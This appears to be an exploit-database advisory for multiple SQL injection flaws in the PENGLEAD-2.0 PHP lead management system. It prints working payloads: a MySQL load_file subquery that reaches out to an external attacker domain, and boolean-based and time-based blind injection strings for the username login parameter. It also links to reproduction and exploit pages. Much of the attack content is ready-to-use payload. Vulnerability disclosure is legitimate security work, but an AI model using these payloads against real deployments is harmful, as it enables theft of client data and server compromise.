## Title: PENGLEAD-2.0 Multiple-SQLi ## Author: nu11secur1ty ## Date: 11/11/2023 ## Vendor: https://www.mayurik.com/ ## Software: https://www.mayurik.com/source-code/P2760/lead-management-system-in-php-free-download ## Reference: https://portswigger.net/web-security/sql-injection ## Description: The username parameter appears to be vulnerable to SQL injection attacks. The payload '+(select load_file('\\\\ke2v0nog1ghmfe276ddp7smbi2ovcm7aydm59vxk.tupaputka.com\\lhc'))+' was submitted in the email parameter. This payload injects a SQL sub-query that calls MySQL's load_file function with a UNC file path that references a URL on an external domain. The application interacted with that domain, indicating that the injected SQL query was executed. The attacker can get all the information for the clients of this application from the server, and very sensitive information for accessing the server by exploiting the vulnerability. STATUS: HIGH-CRITICAL Vulnerability [+]Payload: ```MySQL --- Parameter: username (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: [email protected]' or '5739'='5739' AND 2238=2238 AND 'ykSa'='ykSa&password=rootadmin&g-recaptcha-response=&login= Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: [email protected]' or '5739'='5739' AND (SELECT 8274 FROM (SELECT(SLEEP(15)))ZKyh) AND 'yBrH'='yBrH&password=rootadmin&g-recaptcha-response=&login= --- ``` ## Reproduce: [href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/mayuri_k/2023/PENGLEAD-2.0-Multiple-SQLi) ## Proof and Exploit: [href](https://www.nu11secur1ty.com/2023/11/penglead-20-multiple-sqli.html) ## Time spent: 01:10:00 -- System Administrator - Infrastructure Engineer Penetration Testing Engineer Exploit developer at https://packetstormsecurity.com/ https://cve.mitre.org/index.html https://cxsecurity.com/ and https://www.exploit-db.com/ 0day Exploit DataBase https://0day.today/ home page: https://www.nu11secur1ty.com/ hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E= nu11secur1ty <http://nu11secur1ty.com/>
